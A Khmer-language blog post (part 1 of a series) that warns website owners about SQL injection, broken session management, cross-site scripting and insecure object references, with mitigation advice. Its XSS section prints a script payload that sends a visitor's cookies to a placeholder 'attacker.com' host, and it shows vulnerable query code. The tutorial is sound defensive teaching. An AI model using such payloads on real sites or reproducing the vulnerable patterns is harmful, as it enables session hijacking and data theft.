Hacker តែងព្យាយាមស្វែងរកចំនុចខ្សោយរបស់វេបសាយមួយដើម្បីជ្រៀតចូលក្នុងវេបសាយ ក្នុងបំណងអាក្រក់។ បើទោះបីជាមានប្រព័ន្ធការពារជាច្រើនក៏ដោយ សំរាប់ការពារនិងតាមដានវេបសាយ ក៏hacker អាចស្វែងរកចន្លោះប្រហោងរបស់វេបសាយបានដែរ។ កាលណាគេអាចជ្រៀតចូលបានក្នុងវេបសាយហើយ គេអាចមើលឃើញអ្វីទាំងអស់របស់វេបសាយរួមមានទិន្នន័យសំខាន់ៗរបស់វេបសាយ ដូចជា ព័ត៌មានរបស់business, clients, customerជាដើម ជាពិសេសព័ត៌មានដែលមានទាក់ទងនឹងសាច់ប្រាក់។ លើពីនេះhacker អាចលុបឯកសារ កែប្រែ ទិន្នន័យនិង databaseរបស់វេបសាយ ដែលនេះវាធ្វើឲ្យវេបសាយដែលកំពុងល្បីរបស់អ្នក ធ្លាក់ចុះប្រជាប្រិយភាព។ ដូចនេះក្នុងនាមជាអ្នកបង្កើតវេបសាយ ឬម្ចាស់វេបសាយត្រូវប្រយ័ត្ននូវចំនុចទាំង៨ខាងក្រោមនេះដើម្បីការការពារវេបសាយរបស់អ្នក។

ទី១ SQL Injection

Hacker ប្រើប្រាស់ codeបញ្ចូលទៅក្នុង program ឬ website របស់យើង ដែលcodeនោះ កាលណាវាត្រូវបានប្រតិបត្តិ (execute) វាផ្តល់ជាលទ្ធផលតាមអ្វីដែលhackerចង់បាន ដូចជា ការលុបទិន្នន័យរបស់ table ការទាញយកទិន្នន័យ(ឈ្មោះ លេខសំងាត់របស់អ្នកប្រើប្រាស់)មកបង្ហាញជាដើម។ វាកើតឡើងតាមរយៈការបញ្ជូនទិន្នន័យ ឬ input ដែលត្រូវបានបញ្ចូលតាមរយៈ form។ ដូចនេះសូមធ្វើការពិនិត្យឲ្យបានត្រឹមត្រូវលើទិន្នន័យដែលបានបញ្ជូនមកនឹង execute request។ គំរូនៃចំនុចខ្សោយរបស់វេបសាយដែលបង្ករឡើងដោយ SQL Injection នេះគឺជា SQL Queryរបស់អ្នក “SELECT * FROM TAB_ACCOUNTS WHERE CUSTID = ” + request.getParameter(“id”); ហើយនេះជាអ្វីដែលជាការattack ទៅលើចំនុចខ្សោយនោះ ដោយគេបញ្ចូលparameter ដូចនេះ id=1 or 1=1 នោះ SQL Query របស់អ្នកនឹងទៅជា SELECT * FROM TAB_ACCOUNTS WHERE CUSTID =1 OR 1=1។ តើSQL Queryខាងលើនេះឲ្យលទ្ធផលយ៉ាងដូចម្ត៉េច។

ទី២ Broken authentication និង session management

ការមិនអនុវត្តឲ្យបានត្រឹមត្រូវនូវ session និង authentication ក៏ជាចំនុចខ្សោយមួយដែលអាចឲ្យ hacker exploitវេបសាយរបស់អ្នកបានដែរ។ គេអាចលួយក session id និង លេខសំងាត់របស់អ្នកប្រើប្រាស់ ដែលអ្នកមិនបានប្រយ័ត្នក្នុងការរក្សាវាទុក ឬមិនបានធ្វើការ encryptវាឲ្យបានល្អ (strong encryption) ការកំណត់ session timeout មិនបានត្រឹមត្រូវ។ អ្នកបង្កើតវេបសាយត្រូវតែសិក្សានិង អនុវត្តចំនុចនេះឲ្យបានខ្ពស់បំផុត ដូចជាការ encrypt លេខសំងាត់ ការកំណត់ចំនួនដងនៃការloginជាដើម។ ខាងក្រោមនេះ ជា Attack Scenario របស់ Broken Authentication និងSession Management
  • ១. វេបសាយមួយដែលអាច rewrite URL ដោយការសរសេរបន្ថែម session IDនៅក្នុង URL (http://mybank.com/account?sessionid=123456789) ហើយអ្នកបានផ្ញើរlinkនេះទៅកាន់មិត្តរបស់អ្នក នោះមិត្តរបស់អ្នកនឹងធ្វើប្រតិបត្តិលើវេបសាយនេះដោយប្រើប្រាស់ sessionរបស់អ្នក។
  • ២. Session Timeout មិនបានកំណត់ត្រឹមត្រូវ កាលណាអ្នកឡុកចូលទៅកាន់វេបសាយមួយ ដែលមានចំនុចខ្សោយនេះ (Session Management) ហើយអ្នកមិនបានចុចlogout តែអ្នកបានបិទbrowserជំនួសវិញ។ ស្រាប់តែមួយម៉ោងក្រោយ មានគេប្រើប្រាស់ computerរបស់អ្នក ហើយបើកវេបសាយដែលអ្នកមិនទាន់បានlogout។ មានន័យថា គេបានប្រើប្រាស់ sessionរបស់អ្នកទៀតហើយ។
  • ៣. រាល់លេខសំងាត់របស់ user ដែលរក្សាទុកនៅក្នុងdatabase មិនបាន encryptឲ្យបាន strong ដូចនេះកាលណា attacker អាចចូលទៅក្នុងdatabaseបាន គេអាចមើលឃើញpasswordបានយ៉ាងងាយ។

ទី៣ Cross Site Scripting (XSS)

វាដូចគ្នាទៅនឹង SLQ Injection ដែរ ដែលការវាយប្រហារគឺជាការ injectនូវ malicious code ទៅក្នុងវេបសាយ ហើយកូដនោះត្រូវបានexecute នៅលើbrowser កាលណាវេបសាយរបស់អ្នកមិនបានធ្វើការ validate រាល់inputដែលបាពី userនោះទេ។ អ្នកគ្រាន់តែឲ្យគេវាបញ្ចូលហើយបង្ហាញមកវិញ នេះជាចំនុចមួយដែលhacker អាចបញ្ចូលmalicious code។ឧទាហរណ៍៖ នេះជាកូដដែលសរសេរនៅលើ server-side (PHP)
 $user_input = $_POST[“user_input”];  
 echo $user_input;  
ហើយនេះជាអ្វីដែលត្រូវបានបញ្ចូលដោយ attacker នៅលើ form
 <script>document.location=’http://www.attacker.com/hack?cookie=’ + document.cookie</script>  
នេះhacker បានលួចយក session ឬ ព័ត៌មានផ្សេងទៀតដែលអ្នកបានរក្សាទុកក្នុងcookie។ ដើម្បីចៀសវាងបញ្ហានេះ អ្នកត្រូវធ្វើការពិនិត្យរាល់ការបញ្ចូលរបស់អ្នកប្រើប្រាស់ជាមុនសិន មុនឲ្យអនុញ្ញាត្តិឲ្យទិន្នន័យបញ្ជូនទៅកាន់ server ហើយត្រូវ encode រាល់ output ដែលបានមកពី input។

ទី៤ Insecure Data Object Reference

កាលណា internal object របស់វេបសាយត្រូវបានបែកធ្លាយ ឬរកឃើញ។ មានន័យថា internal object អាចជា file, directory, ឬ database record/keyជាដើម គេអាច access objectsទាំងនោះបានដោយគ្មានការអនុញ្ញាតិ (unauthorized access) ដោយគ្រាន់តែផ្លាស់ប្តូរពីតំលៃ (parameter) ដែលគេបាន authorized ទៅជាតំលៃមួយផ្សេងទៀត។ ដើម្បីឲ្យយល់ច្បាស់សូមសិក្សាពីscenarioខាងក្រោម៖ នេះជាកូដដែលសរសេរនៅខាង server-side (Java programming language)
 String query = “SELECT USER_ID, USER_NAME, USER_ROLE, USER_PASSWD FROM TAB_USERS WHERE USER_ID =?”;  
 PreparedStatement stmt = connection.prepareStatement(query);  
 Stmt.setString(1, request.getParameter(“uid”));  
 ResultSet rs = stmt.executeQuery();  
ហើយនេះជា URL សំរាប់ការបង្ហាញទិន្នន័យរបស់ user http://example.com/app/account?uid=xxxxxxxx ដែលattacker អាចជំនួសតំលៃរបស់ xxxxxxxx ទៅជាតំលៃផ្សេង (USER_ID) នោះ attacker អាចបង្ហាញទិន្នន័យរបស់ Userផ្សេងបាន។ ចំនុចនេះគេតែងរកឃើញមាននៅក្នុងវេបសាយជាច្រើនផងដែរ។ អ្នកអាចបង្កើតជាpolicies នានាដើម្បីធានាថា គេមានសិទ្ធិក្នុងការមើល ឬ access ចូលobjectមួយៗ។ សូមរង់ចាំអាននៅភាគទី២បន្ត!!!

►►សូមអរគុណរាល់ការចូលរួមCommentរបស់អ្នក!

 
Top
Don't You Think this Awesome Post should be shared ??
| ប្រយ័ត្នចំនុនទាំង៨នេះដើម្បីការពារវេបសាយរស់អ្នកពីការជ្រៀតចូលរបស់ hacker [Website Vulnerabilities – Pat 1] |